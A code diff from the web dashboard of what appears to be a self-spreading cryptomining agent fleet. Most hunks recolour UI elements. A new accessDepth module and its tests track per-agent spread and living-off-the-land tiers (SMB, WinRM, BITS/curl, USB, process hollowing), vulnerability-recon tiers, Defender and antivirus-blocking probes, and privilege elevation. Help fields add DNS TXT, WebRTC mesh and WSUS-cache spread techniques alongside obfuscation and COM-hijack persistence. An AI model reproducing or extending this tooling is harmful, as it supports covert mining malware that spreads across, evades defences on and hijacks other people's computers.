max-height: 72vh;
|
||||
@@ -20,7 +20,7 @@
|
||||
|
||||
.syscheck-header h3 {
|
||||
margin: 0;
|
||||
color: var(--accent-cyan, #00f5ff);
|
||||
color: var(--accent-cyan, #00e8f5);
|
||||
}
|
||||
|
||||
.syscheck-sub {
|
||||
@@ -78,7 +78,7 @@
|
||||
font-size: 0.78rem;
|
||||
}
|
||||
.syscheck-score {
|
||||
color: #00f5ff;
|
||||
color: #00e8f5;
|
||||
font-weight: 600;
|
||||
}
|
||||
.syscheck-subhead {
|
||||
|
||||
@@ -24,7 +24,7 @@ function latencyLevel(ms: number): 0 | 1 | 2 | 3 | 4 {
|
||||
|
||||
const LEVEL_COLORS: Record<number, string> = {
|
||||
4: '#39ff14', // neon green
|
||||
3: '#00f5ff', // cyan
|
||||
3: '#00e8f5', // cyan
|
||||
2: '#ffb020', // amber
|
||||
1: '#ff4466', // red
|
||||
0: '#444', // grey
|
||||
|
||||
@@ -42,6 +42,17 @@ describe('Recon badges', () => {
|
||||
expect(screen.getByText('DoSvc peer')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('JoinLaneBadge renders new spread tier labels', () => {
|
||||
render(<JoinLaneBadge lane="dns_txt" />);
|
||||
expect(screen.getByText('DNS TXT')).toBeInTheDocument();
|
||||
cleanup();
|
||||
render(<JoinLaneBadge lane="webrtc_mesh" />);
|
||||
expect(screen.getByText('WebRTC mesh')).toBeInTheDocument();
|
||||
cleanup();
|
||||
render(<JoinLaneBadge lane="wsus_cache_peer" />);
|
||||
expect(screen.getByText('WSUS cache')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('JoinLaneBadge renders docker lane label', () => {
|
||||
render(<JoinLaneBadge lane="docker" />);
|
||||
expect(screen.getByText('Docker')).toBeInTheDocument();
|
||||
|
||||
@@ -13,7 +13,7 @@
|
||||
backdrop-filter: blur(10px);
|
||||
box-shadow:
|
||||
0 4px 18px rgba(0, 0, 0, 0.55),
|
||||
0 0 1px rgba(0, 245, 255, 0.15);
|
||||
0 0 1px rgba(0, 232, 245, 0.15);
|
||||
pointer-events: auto;
|
||||
opacity: var(--deck-ambient-ui-opacity, 0.72);
|
||||
transition: opacity 0.25s ease, border-color 0.25s ease, box-shadow 0.25s ease;
|
||||
@@ -22,10 +22,10 @@
|
||||
.global-music-player:hover,
|
||||
.global-music-player:focus-within {
|
||||
opacity: 1;
|
||||
border-color: rgba(0, 245, 255, 0.35);
|
||||
border-color: rgba(0, 232, 245, 0.35);
|
||||
box-shadow:
|
||||
0 6px 22px rgba(0, 0, 0, 0.6),
|
||||
0 0 14px rgba(0, 245, 255, 0.12);
|
||||
0 0 14px rgba(0, 232, 245, 0.12);
|
||||
}
|
||||
|
||||
.global-music-player__play {
|
||||
@@ -35,10 +35,10 @@
|
||||
width: 1.75rem;
|
||||
height: 1.75rem;
|
||||
padding: 0;
|
||||
border: 1px solid rgba(0, 245, 255, 0.3);
|
||||
border: 1px solid rgba(0, 232, 245, 0.3);
|
||||
border-radius: 2px;
|
||||
background: rgba(12, 18, 28, 0.9);
|
||||
color: var(--neon-cyan, #00f5ff);
|
||||
color: var(--neon-cyan, #00e8f5);
|
||||
cursor: pointer;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
@@ -49,8 +49,8 @@
|
||||
}
|
||||
|
||||
.global-music-player__play:hover {
|
||||
border-color: var(--neon-cyan, #00f5ff);
|
||||
box-shadow: 0 0 10px rgba(0, 245, 255, 0.2);
|
||||
border-color: var(--neon-cyan, #00e8f5);
|
||||
box-shadow: 0 0 10px rgba(0, 232, 245, 0.2);
|
||||
}
|
||||
|
||||
.global-music-player__vol {
|
||||
@@ -83,8 +83,8 @@
|
||||
height: 10px;
|
||||
margin-top: -3.5px;
|
||||
border-radius: 50%;
|
||||
background: var(--neon-cyan, #00f5ff);
|
||||
box-shadow: 0 0 6px rgba(0, 245, 255, 0.4);
|
||||
background: var(--neon-cyan, #00e8f5);
|
||||
box-shadow: 0 0 6px rgba(0, 232, 245, 0.4);
|
||||
}
|
||||
|
||||
.sr-only {
|
||||
|
||||
@@ -336,7 +336,7 @@ export default function Layout({ children }: LayoutProps) {
|
||||
)}
|
||||
<div className="sidebar-sig font-tech">
|
||||
<span className="sig-love">made with <span className="sig-heart">♥</span> drjones</span>
|
||||
<span className="sig-ver">{serverInfo?.version ?? 'v0.0.1'}</span>
|
||||
<span className="sig-ver">{serverInfo?.version ?? 'v1.0.0'}</span>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
|
||||
@@ -27,7 +27,7 @@
|
||||
.pool-preset-provider {
|
||||
font-size: 0.75rem;
|
||||
letter-spacing: 0.06em;
|
||||
color: var(--neon-cyan, #0ff);
|
||||
color: var(--neon-cyan, #00e8f5);
|
||||
margin-bottom: 0.15rem;
|
||||
}
|
||||
|
||||
@@ -54,7 +54,7 @@
|
||||
.pool-preset-order {
|
||||
font-size: 0.82rem;
|
||||
padding: 0.5rem 0.65rem;
|
||||
border-left: 3px solid var(--neon-cyan, #0ff);
|
||||
border-left: 3px solid var(--neon-cyan, #00e8f5);
|
||||
background: rgba(0, 40, 50, 0.25);
|
||||
}
|
||||
|
||||
|
||||
@@ -33,7 +33,7 @@ const TOPOLOGY_NODE_CAP = 200;
|
||||
function AgentNode({ agent, position, serverPos }: { agent: Agent, position: [number, number, number], serverPos: [number, number, number] }) {
|
||||
const isOnline = agent.status === 'online';
|
||||
const isHashing = agent.hashrate_15m > 0;
|
||||
const color = isOnline ? (isHashing ? '#00f5ff' : '#00aa55') : '#ff4444';
|
||||
const color = isOnline ? (isHashing ? '#00e8f5' : '#00aa55') : '#ff4444';
|
||||
const pulseRef = useRef<THREE.Mesh>(null);
|
||||
const ringRef = useRef<THREE.Mesh>(null);
|
||||
|
||||
@@ -76,7 +76,7 @@ function AgentNode({ agent, position, serverPos }: { agent: Agent, position: [nu
|
||||
|
||||
{/* Laser Pulse simulating hashing packets */}
|
||||
{isOnline && isHashing && !isStale && (
|
||||
<LaserPulse start={[0,0,0]} end={[serverPos[0] - position[0], serverPos[1] - position[1], serverPos[2] - position[2]]} color="#00ffff" />
|
||||
<LaserPulse start={[0,0,0]} end={[serverPos[0] - position[0], serverPos[1] - position[1], serverPos[2] - position[2]]} color="#00e8f5" />
|
||||
)}
|
||||
</group>
|
||||
);
|
||||
@@ -106,7 +106,7 @@ export default function FleetTopologyMap({ agents }: { agents: Agent[] }) {
|
||||
}, [displayAgents]);
|
||||
|
||||
return (
|
||||
<div className="topology-container" style={{ width: '100%', height: '500px', background: '#050508', borderRadius: '8px', overflow: 'hidden', border: '1px solid var(--neon-cyan)', position: 'relative', boxShadow: '0 0 20px rgba(0, 245, 255, 0.1)' }}>
|
||||
<div className="topology-container" style={{ width: '100%', height: '500px', background: '#050508', borderRadius: '8px', overflow: 'hidden', border: '1px solid var(--neon-cyan)', position: 'relative', boxShadow: '0 0 20px rgba(0, 232, 245, 0.1)' }}>
|
||||
<div style={{ position: 'absolute', top: 15, left: 15, zIndex: 10, color: 'var(--neon-cyan)', fontFamily: 'monospace', textShadow: '0 0 5px var(--neon-cyan)' }}>
|
||||
<span className="live-beacon on" style={{ display: 'inline-block', marginRight: 8, verticalAlign: 'middle' }}></span>
|
||||
3D_MESH_TOPOLOGY // {displayAgents.filter(a => a.status === 'online').length} NODES LINKED
|
||||
@@ -115,7 +115,7 @@ export default function FleetTopologyMap({ agents }: { agents: Agent[] }) {
|
||||
<Canvas camera={{ position: [0, 8, 14], fov: 50 }}>
|
||||
<color attach="background" args={['#050508']} />
|
||||
<ambientLight intensity={0.5} />
|
||||
<pointLight position={[10, 10, 10]} intensity={1.5} color="#00f5ff" />
|
||||
<pointLight position={[10, 10, 10]} intensity={1.5} color="#00e8f5" />
|
||||
<Stars radius={100} depth={50} count={3000} factor={3} saturation={0.5} fade speed={1} />
|
||||
|
||||
{/* Server Node (Mothership) */}
|
||||
|
||||
@@ -43,7 +43,7 @@ export default function MatrixStreamOverlay({ active, onClose }: { active: boole
|
||||
if (Math.random() > 0.99 && shares.length > 0) {
|
||||
const share = shares[Math.floor(Math.random() * shares.length)];
|
||||
text = JSON.stringify({ agent: share.agent_id?.substring(0, 6), hash: share.hash?.substring(0, 8), valid: share.accepted });
|
||||
ctx.fillStyle = share.accepted ? '#00f5ff' : '#ff4444';
|
||||
ctx.fillStyle = share.accepted ? '#00e8f5' : '#ff4444';
|
||||
ctx.fillText(text, i * fontSize, drops[i] * fontSize);
|
||||
ctx.fillStyle = '#0F0';
|
||||
} else {
|
||||
|
||||
@@ -29,7 +29,7 @@
|
||||
|
||||
.pipeline-step.pipeline-active {
|
||||
border-color: var(--neon-cyan);
|
||||
box-shadow: 0 0 20px rgba(0, 245, 255, 0.15);
|
||||
box-shadow: 0 0 20px rgba(0, 232, 245, 0.15);
|
||||
}
|
||||
|
||||
.pipeline-icon {
|
||||
@@ -255,7 +255,7 @@
|
||||
|
||||
.roadmap-low .roadmap-priority {
|
||||
color: var(--neon-cyan);
|
||||
border: 1px solid rgba(0, 245, 255, 0.35);
|
||||
border: 1px solid rgba(0, 232, 245, 0.35);
|
||||
}
|
||||
|
||||
.guide-step-card {
|
||||
@@ -431,16 +431,16 @@
|
||||
font-family: var(--font-tech, monospace);
|
||||
letter-spacing: 0.06em;
|
||||
padding: 0.15rem 0.45rem;
|
||||
background: rgba(0, 245, 255, 0.09);
|
||||
border: 1px solid rgba(0, 245, 255, 0.3);
|
||||
background: rgba(0, 232, 245, 0.09);
|
||||
border: 1px solid rgba(0, 232, 245, 0.3);
|
||||
border-radius: 3px;
|
||||
color: var(--neon-cyan, #0ff);
|
||||
color: var(--neon-cyan, #00e8f5);
|
||||
cursor: pointer;
|
||||
transition: background 0.15s;
|
||||
}
|
||||
|
||||
.guide-code-copy:hover {
|
||||
background: rgba(0, 245, 255, 0.2);
|
||||
background: rgba(0, 232, 245, 0.2);
|
||||
}
|
||||
|
||||
/* Network topology ASCII diagram */
|
||||
@@ -487,7 +487,7 @@
|
||||
|
||||
/* Inline code links */
|
||||
.guide-link {
|
||||
color: var(--neon-cyan, #0ff);
|
||||
color: var(--neon-cyan, #00e8f5);
|
||||
text-decoration: underline;
|
||||
text-underline-offset: 2px;
|
||||
}
|
||||
|
||||
@@ -378,7 +378,7 @@ describe('HashrateChart', () => {
|
||||
data={sample}
|
||||
displayMode="live"
|
||||
title="Fleet Hash"
|
||||
color="#00f5ff"
|
||||
color="#00e8f5"
|
||||
unit="H/s"
|
||||
/>
|
||||
);
|
||||
@@ -571,6 +571,7 @@ describe('FleetToolbar', () => {
|
||||
filters={filters}
|
||||
onChange={vi.fn()}
|
||||
selectedCount={2}
|
||||
selectedAgents={agents}
|
||||
onBulkAction={onBulk}
|
||||
bulkBusy={false}
|
||||
/>
|
||||
|
||||
64
server/web/src/help/accessDepth.test.ts
Normal file
64
server/web/src/help/accessDepth.test.ts
Normal file
@@ -0,0 +1,64 @@
|
||||
/**
|
||||
* @vitest-environment node
|
||||
*/
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
buildAccessDepthModel,
|
||||
parseAccessDepthDiagnostics,
|
||||
parseAccessDepthServerPolicy,
|
||||
} from './accessDepth';
|
||||
import type { Agent } from '../types';
|
||||
|
||||
function agent(partial: Partial<Agent>): Agent {
|
||||
return {
|
||||
id: 'x',
|
||||
name: 'n',
|
||||
wallet: '',
|
||||
ip: '1.1.1.1',
|
||||
version: '1',
|
||||
status: 'online',
|
||||
cpu_cores: 4,
|
||||
memory_gb: 8,
|
||||
last_seen: '',
|
||||
created_at: '',
|
||||
hashrate_15s: 0,
|
||||
hashrate_1m: 0,
|
||||
hashrate_15m: 0,
|
||||
shares_total: 0,
|
||||
shares_good: 0,
|
||||
shares_bad: 0,
|
||||
cpu_usage_pct: 0,
|
||||
memory_usage_pct: 0,
|
||||
uptime_seconds: 0,
|
||||
...partial,
|
||||
};
|
||||
}
|
||||
|
||||
describe('parseAccessDepthServerPolicy', () => {
|
||||
it('reads lotl_onion_tiers and triple onion from config', () => {
|
||||
const p = parseAccessDepthServerPolicy({
|
||||
server: {
|
||||
lotl_onion_tiers: ['docker', 'smb'],
|
||||
triple_onion_policy: { recon_tiers: ['a'], deploy_lanes: ['b'] },
|
||||
},
|
||||
});
|
||||
expect(p.lotl_onion_tiers).toEqual(['docker', 'smb']);
|
||||
expect(p.triple_onion?.recon_tiers).toEqual(['a']);
|
||||
});
|
||||
});
|
||||
|
||||
describe('buildAccessDepthModel pending chain', () => {
|
||||
it('marks skipped tiers and pending remainder', () => {
|
||||
const model = buildAccessDepthModel(
|
||||
agent({ platform: 'windows' }),
|
||||
parseAccessDepthDiagnostics({
|
||||
tier_chain_order: ['a', 'b', 'c'],
|
||||
tier_chain_skipped: ['a'],
|
||||
lotl_attempts: [{ tier: 'b', ok: false, error: 'nope' }],
|
||||
}),
|
||||
);
|
||||
expect(model.pendingTiers).toEqual(['c']);
|
||||
expect(model.miningOnion.find((r) => r.tier === 'a')?.status).toBe('skipped');
|
||||
expect(model.failed).toHaveLength(1);
|
||||
});
|
||||
});
|
||||
361
server/web/src/help/accessDepth.ts
Normal file
361
server/web/src/help/accessDepth.ts
Normal file
@@ -0,0 +1,361 @@
|
||||
import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers';
|
||||
import type { Agent } from '../types';
|
||||
import { formatLotlTierLabel, parseTierAttempts, type TierAttempt } from '../types/lotl';
|
||||
|
||||
/** Mirrors agent/miner/environment_probe.go */
|
||||
export interface EnvironmentProbes {
|
||||
docker?: boolean;
|
||||
wsl?: boolean;
|
||||
pwsh?: boolean;
|
||||
dotnet?: boolean;
|
||||
gpu?: boolean;
|
||||
av_blocks_exe?: boolean;
|
||||
webview2?: boolean;
|
||||
}
|
||||
|
||||
export interface AccessDepthDiagnostics {
|
||||
environment_probes?: EnvironmentProbes;
|
||||
tier_chain_order?: string[];
|
||||
tier_chain_skipped?: string[];
|
||||
lotl_tier?: string;
|
||||
lotl_attempts?: TierAttempt[];
|
||||
active_method?: string;
|
||||
execution_mode?: string;
|
||||
}
|
||||
|
||||
export interface AccessDepthServerPolicy {
|
||||
lotl_onion_tiers?: string[];
|
||||
mining_tier_order?: string[];
|
||||
mining_skip_tiers?: string[];
|
||||
triple_onion?: {
|
||||
recon_tiers?: string[];
|
||||
deploy_lanes?: string[];
|
||||
};
|
||||
}
|
||||
|
||||
export interface ProbeChip {
|
||||
key: string;
|
||||
label: string;
|
||||
ok: boolean;
|
||||
}
|
||||
|
||||
export interface AccessDepthAttemptRow {
|
||||
tier: string;
|
||||
label: string;
|
||||
ok: boolean;
|
||||
error?: string;
|
||||
phase?: string;
|
||||
}
|
||||
|
||||
export interface OnionTierRow {
|
||||
index: number;
|
||||
tier: string;
|
||||
label: string;
|
||||
status: 'active' | 'skipped' | 'pending' | 'done' | 'failed' | 'neutral';
|
||||
}
|
||||
|
||||
export interface AccessDepthModel {
|
||||
platformLabel: string;
|
||||
osLine: string;
|
||||
probes: ProbeChip[];
|
||||
spreadCaps: string[];
|
||||
privilegeHints: string[];
|
||||
activeTier?: string;
|
||||
activeTierLabel?: string;
|
||||
joinLane?: string;
|
||||
succeeded: AccessDepthAttemptRow[];
|
||||
failed: AccessDepthAttemptRow[];
|
||||
inProgressTier?: string;
|
||||
inProgressLabel?: string;
|
||||
pendingTiers: string[];
|
||||
pendingLabels: string[];
|
||||
miningOnion: OnionTierRow[];
|
||||
spreadOnion: OnionTierRow[];
|
||||
tripleOnionSummary?: string;
|
||||
miningOrderSource: 'agent' | 'server' | 'default';
|
||||
}
|
||||
|
||||
/** Default mining tier onion pushed at agent auth when Calibrate sends no override. */
|
||||
export const DEFAULT_MINING_TIER_ORDER = [
|
||||
'exe_subprocess',
|
||||
'docker_load',
|
||||
'container',
|
||||
'wsl',
|
||||
'ps_inmemory',
|
||||
'cpu_inprocess',
|
||||
'gpu_subprocess',
|
||||
'stratum_direct',
|
||||
] as const;
|
||||
|
||||
const DEFAULT_TRIPLE_RECON = ['kev_scan', 'vuln_recon', 'service_probe', 'listen_ports'];
|
||||
const DEFAULT_TRIPLE_DEPLOY = [
|
||||
'discover_and_join',
|
||||
'docker',
|
||||
'wsl',
|
||||
'powershell',
|
||||
'dotnet',
|
||||
'bits_curl',
|
||||
'smb',
|
||||
'winrm',
|
||||
];
|
||||
|
||||
export function parseEnvironmentProbes(raw: unknown): EnvironmentProbes | undefined {
|
||||
if (!raw || typeof raw !== 'object') return undefined;
|
||||
const row = raw as Record<string, unknown>;
|
||||
const probes: EnvironmentProbes = {};
|
||||
for (const key of ['docker', 'wsl', 'pwsh', 'dotnet', 'gpu', 'av_blocks_exe', 'webview2'] as const) {
|
||||
if (typeof row[key] === 'boolean') probes[key] = row[key];
|
||||
}
|
||||
return Object.keys(probes).length > 0 ? probes : undefined;
|
||||
}
|
||||
|
||||
export function parseAccessDepthDiagnostics(raw: Record<string, unknown>): AccessDepthDiagnostics {
|
||||
const attempts = parseTierAttempts(raw.lotl_attempts ?? raw.attempts);
|
||||
const tier_chain_order = Array.isArray(raw.tier_chain_order)
|
||||
? raw.tier_chain_order.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
|
||||
: undefined;
|
||||
const tier_chain_skipped = Array.isArray(raw.tier_chain_skipped)
|
||||
? raw.tier_chain_skipped.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
|
||||
: undefined;
|
||||
const lotl_tier =
|
||||
(typeof raw.lotl_tier === 'string' && raw.lotl_tier) ||
|
||||
(typeof raw.active_tier === 'string' && raw.active_tier) ||
|
||||
undefined;
|
||||
|
||||
return {
|
||||
environment_probes: parseEnvironmentProbes(raw.environment_probes),
|
||||
tier_chain_order: tier_chain_order?.length ? tier_chain_order : undefined,
|
||||
tier_chain_skipped: tier_chain_skipped?.length ? tier_chain_skipped : undefined,
|
||||
lotl_tier,
|
||||
lotl_attempts: attempts.length ? attempts : undefined,
|
||||
active_method: typeof raw.active_method === 'string' ? raw.active_method : undefined,
|
||||
execution_mode: typeof raw.execution_mode === 'string' ? raw.execution_mode : undefined,
|
||||
};
|
||||
}
|
||||
|
||||
function platformLabel(platform?: string): string {
|
||||
const p = (platform || '').toLowerCase();
|
||||
if (p.includes('win')) return 'Windows';
|
||||
if (p.includes('darwin') || p.includes('mac')) return 'macOS';
|
||||
if (p.includes('linux')) return 'Linux';
|
||||
return platform?.trim() || 'Unknown';
|
||||
}
|
||||
|
||||
function probeChips(probes: EnvironmentProbes | undefined, agent: Agent): ProbeChip[] {
|
||||
const p = probes ?? {};
|
||||
const chips: ProbeChip[] = [
|
||||
{ key: 'docker', label: 'Docker', ok: p.docker === true },
|
||||
{ key: 'wsl', label: 'WSL', ok: p.wsl === true },
|
||||
{ key: 'pwsh', label: 'PowerShell', ok: p.pwsh === true },
|
||||
{ key: 'dotnet', label: 'dotnet', ok: p.dotnet === true },
|
||||
{ key: 'gpu', label: 'GPU', ok: p.gpu === true || agent.gpu_miner_active === true },
|
||||
{ key: 'webview2', label: 'WebView2', ok: p.webview2 === true },
|
||||
];
|
||||
if (p.av_blocks_exe === true) {
|
||||
chips.push({ key: 'av', label: 'AV blocks exe', ok: false });
|
||||
}
|
||||
return chips.filter((c) => c.ok || probes != null);
|
||||
}
|
||||
|
||||
function spreadCapabilities(agent: Agent): string[] {
|
||||
const caps = agent.capabilities;
|
||||
const out: string[] = [];
|
||||
if (caps?.auto_spread) out.push('auto_spread');
|
||||
if (caps?.mesh_p2p) out.push('mesh_p2p');
|
||||
if (caps?.hole_punch) out.push('hole_punch');
|
||||
if (caps?.process_hollowing) out.push('process_hollowing');
|
||||
if (caps?.usb_spread || agent.usb_spread) out.push('usb_spread');
|
||||
if (caps?.remote_aggressive) out.push('remote_aggressive');
|
||||
return out;
|
||||
}
|
||||
|
||||
function privilegeHints(agent: Agent, diag?: AccessDepthDiagnostics): string[] {
|
||||
const hints: string[] = [];
|
||||
if (agent.agent_elevated === true) hints.push('elevated');
|
||||
else if (agent.agent_elevated === false) hints.push('standard user');
|
||||
if (agent.defender_rtp === true) hints.push('Defender RTP on');
|
||||
else if (agent.defender_enabled === true) hints.push('Defender on');
|
||||
if (agent.ssh_available === true) hints.push('SSH reachable');
|
||||
if (typeof agent.posture_score === 'number') hints.push(`posture ${agent.posture_score}`);
|
||||
if (diag?.execution_mode) hints.push(`exec ${diag.execution_mode}`);
|
||||
return hints;
|
||||
}
|
||||
|
||||
function attemptRows(attempts: TierAttempt[]): AccessDepthAttemptRow[] {
|
||||
return attempts.map((a) => ({
|
||||
tier: a.tier,
|
||||
label: formatLotlTierLabel(a.tier),
|
||||
ok: a.ok,
|
||||
error: a.error,
|
||||
phase: a.phase,
|
||||
}));
|
||||
}
|
||||
|
||||
function uniqueAttemptTiers(attempts: TierAttempt[]): Set<string> {
|
||||
return new Set(attempts.map((a) => a.tier.trim().toLowerCase()));
|
||||
}
|
||||
|
||||
function resolveMiningOrder(
|
||||
diag: AccessDepthDiagnostics | undefined,
|
||||
policy: AccessDepthServerPolicy | undefined,
|
||||
agent: Agent,
|
||||
): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' } {
|
||||
if (diag?.tier_chain_order?.length) {
|
||||
return {
|
||||
order: diag.tier_chain_order,
|
||||
skipped: diag.tier_chain_skipped ?? [],
|
||||
source: 'agent',
|
||||
};
|
||||
}
|
||||
if (policy?.mining_tier_order?.length) {
|
||||
return {
|
||||
order: policy.mining_tier_order,
|
||||
skipped: policy.mining_skip_tiers ?? [],
|
||||
source: 'server',
|
||||
};
|
||||
}
|
||||
if (agent.chain_order?.length) {
|
||||
return {
|
||||
order: agent.chain_order,
|
||||
skipped: [],
|
||||
source: 'agent',
|
||||
};
|
||||
}
|
||||
return {
|
||||
order: [...DEFAULT_MINING_TIER_ORDER],
|
||||
skipped: diag?.tier_chain_skipped ?? [],
|
||||
source: 'default',
|
||||
};
|
||||
}
|
||||
|
||||
function buildOnionRows(
|
||||
order: string[],
|
||||
skipped: string[],
|
||||
attempts: TierAttempt[],
|
||||
activeTier?: string,
|
||||
): OnionTierRow[] {
|
||||
const skippedSet = new Set(skipped.map((s) => s.toLowerCase()));
|
||||
const okSet = new Set(attempts.filter((a) => a.ok).map((a) => a.tier.toLowerCase()));
|
||||
const failSet = new Set(attempts.filter((a) => !a.ok).map((a) => a.tier.toLowerCase()));
|
||||
const active = activeTier?.toLowerCase();
|
||||
|
||||
return order.map((tier, i) => {
|
||||
const key = tier.toLowerCase();
|
||||
let status: OnionTierRow['status'] = 'neutral';
|
||||
if (active && key === active) status = 'active';
|
||||
else if (skippedSet.has(key)) status = 'skipped';
|
||||
else if (okSet.has(key)) status = 'done';
|
||||
else if (failSet.has(key)) status = 'failed';
|
||||
else status = 'pending';
|
||||
|
||||
return {
|
||||
index: i + 1,
|
||||
tier,
|
||||
label: formatLotlTierLabel(tier),
|
||||
status,
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
function computePendingTiers(
|
||||
order: string[],
|
||||
skipped: string[],
|
||||
attempts: TierAttempt[],
|
||||
): string[] {
|
||||
const skippedSet = new Set(skipped.map((s) => s.toLowerCase()));
|
||||
const touched = uniqueAttemptTiers(attempts);
|
||||
return order.filter((t) => {
|
||||
const key = t.toLowerCase();
|
||||
return !skippedSet.has(key) && !touched.has(key);
|
||||
});
|
||||
}
|
||||
|
||||
function detectInProgress(
|
||||
agent: Agent,
|
||||
attempts: TierAttempt[],
|
||||
pending: string[],
|
||||
activeTier?: string,
|
||||
): string | undefined {
|
||||
if (agent.status !== 'online') return undefined;
|
||||
if (activeTier) {
|
||||
const lastForActive = [...attempts].reverse().find((a) => a.tier.toLowerCase() === activeTier.toLowerCase());
|
||||
if (!lastForActive || !lastForActive.ok) return activeTier;
|
||||
}
|
||||
return pending[0];
|
||||
}
|
||||
|
||||
export function buildAccessDepthModel(
|
||||
agent: Agent,
|
||||
diagnostics?: AccessDepthDiagnostics,
|
||||
policy?: AccessDepthServerPolicy,
|
||||
): AccessDepthModel {
|
||||
const attempts = diagnostics?.lotl_attempts ?? agent.lotl_attempts ?? [];
|
||||
const activeTier = diagnostics?.lotl_tier ?? agent.lotl_tier;
|
||||
const { order, skipped, source } = resolveMiningOrder(diagnostics, policy, agent);
|
||||
const pending = computePendingTiers(order, skipped, attempts);
|
||||
const inProgressTier = detectInProgress(agent, attempts, pending, activeTier);
|
||||
|
||||
const spreadOrder =
|
||||
policy?.lotl_onion_tiers?.length && policy.lotl_onion_tiers.length > 0
|
||||
? policy.lotl_onion_tiers
|
||||
: [...DEFAULT_LOTL_ONION_TIERS];
|
||||
|
||||
const recon = policy?.triple_onion?.recon_tiers?.length
|
||||
? policy.triple_onion.recon_tiers
|
||||
: DEFAULT_TRIPLE_RECON;
|
||||
const deploy = policy?.triple_onion?.deploy_lanes?.length
|
||||
? policy.triple_onion.deploy_lanes
|
||||
: DEFAULT_TRIPLE_DEPLOY;
|
||||
|
||||
const osParts = [platformLabel(agent.platform)];
|
||||
if (agent.os_version) osParts.push(agent.os_version);
|
||||
if (agent.arch) osParts.push(agent.arch);
|
||||
|
||||
return {
|
||||
platformLabel: platformLabel(agent.platform),
|
||||
osLine: osParts.join(' · '),
|
||||
probes: probeChips(diagnostics?.environment_probes, agent),
|
||||
spreadCaps: spreadCapabilities(agent),
|
||||
privilegeHints: privilegeHints(agent, diagnostics),
|
||||
activeTier,
|
||||
activeTierLabel: activeTier ? formatLotlTierLabel(activeTier) : undefined,
|
||||
joinLane: agent.join_lane,
|
||||
succeeded: attemptRows(attempts.filter((a) => a.ok)),
|
||||
failed: attemptRows(attempts.filter((a) => !a.ok)),
|
||||
inProgressTier,
|
||||
inProgressLabel: inProgressTier ? formatLotlTierLabel(inProgressTier) : undefined,
|
||||
pendingTiers: pending,
|
||||
pendingLabels: pending.map(formatLotlTierLabel),
|
||||
miningOnion: buildOnionRows(order, skipped, attempts, activeTier),
|
||||
spreadOnion: spreadOrder.map((tier, i) => ({
|
||||
index: i + 1,
|
||||
tier,
|
||||
label: formatLotlTierLabel(tier),
|
||||
status: 'neutral' as const,
|
||||
})),
|
||||
tripleOnionSummary: `recon: ${recon.slice(0, 3).join(' → ')}… · deploy: ${deploy.slice(0, 3).join(' → ')}…`,
|
||||
miningOrderSource: source,
|
||||
};
|
||||
}
|
||||
|
||||
export function parseAccessDepthServerPolicy(config: {
|
||||
server?: {
|
||||
lotl_onion_tiers?: string[];
|
||||
triple_onion_policy?: {
|
||||
recon_tiers?: string[];
|
||||
deploy_lanes?: string[];
|
||||
};
|
||||
};
|
||||
}): AccessDepthServerPolicy {
|
||||
const server = config.server;
|
||||
return {
|
||||
lotl_onion_tiers: server?.lotl_onion_tiers,
|
||||
mining_tier_order: [...DEFAULT_MINING_TIER_ORDER],
|
||||
triple_onion: server?.triple_onion_policy
|
||||
? {
|
||||
recon_tiers: server.triple_onion_policy.recon_tiers,
|
||||
deploy_lanes: server.triple_onion_policy.deploy_lanes,
|
||||
}
|
||||
: undefined,
|
||||
};
|
||||
}
|
||||
@@ -20,7 +20,8 @@ const HELP_TIP_FIELDS = [
|
||||
'obfuscate', 'sign_build', 'sigil_scramble', 'ai_enabled', 'ai_ollama_endpoint', 'ai_model',
|
||||
'forge_operation_mode', 'forge_path_forge',
|
||||
'mesh_p2p', 'auto_spread', 'hole_punch', 'remote_aggressive', 'usb_spread', 'share_spread',
|
||||
'winrm_spread', 'com_hijack_persist', 'linux_lotl_mode',
|
||||
'winrm_spread', 'dns_txt_spread', 'webrtc_mesh_spread', 'wsus_cache_peer_spread',
|
||||
'com_hijack_persist', 'linux_lotl_mode',
|
||||
'set_alerts', 'set_alert_notifications', 'set_webhook',
|
||||
] as const;
|
||||
|
||||
|
||||
@@ -69,6 +69,9 @@ export const DOC_ANCHORS: Record<string, string> = {
|
||||
share_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
auto_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
winrm_spread: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
dns_txt_spread: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-dns_txt',
|
||||
webrtc_mesh_spread: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-webrtc_mesh',
|
||||
wsus_cache_peer_spread: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-wsus_cache_peer',
|
||||
com_hijack_persist: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
linux_lotl_mode: '/docs/SPREAD_TECHNIQUES.html#lan',
|
||||
remote_aggressive: '/docs/#crucible-ops',
|
||||
|
||||
@@ -29,7 +29,7 @@ describe('fleetGroups', () => {
|
||||
|
||||
it('groupsForAgent and primaryGroupForAgent', () => {
|
||||
const groups = [
|
||||
createFleetGroup('G1', '#00f5ff', ['x']),
|
||||
createFleetGroup('G1', '#00e8f5', ['x']),
|
||||
createFleetGroup('G2', '#ff0000', ['x', 'y']),
|
||||
];
|
||||
expect(groupsForAgent(groups, 'x').map((g) => g.name)).toEqual(['G1', 'G2']);
|
||||
|
||||
@@ -9,7 +9,7 @@ export interface FleetGroup {
|
||||
}
|
||||
|
||||
export const FLEET_GROUP_COLORS = [
|
||||
'#00f5ff',
|
||||
'#00e8f5',
|
||||
'#39ff14',
|
||||
'#ff2da6',
|
||||
'#b24bf3',
|
||||
|
||||
@@ -29,7 +29,7 @@ describe('fleetHeatMap', () => {
|
||||
{
|
||||
id: 'g1',
|
||||
name: 'Alpha',
|
||||
color: '#00f5ff',
|
||||
color: '#00e8f5',
|
||||
agentIds: ['a1', 'a2'],
|
||||
createdAt: '2026-01-01T00:00:00Z',
|
||||
},
|
||||
|
||||
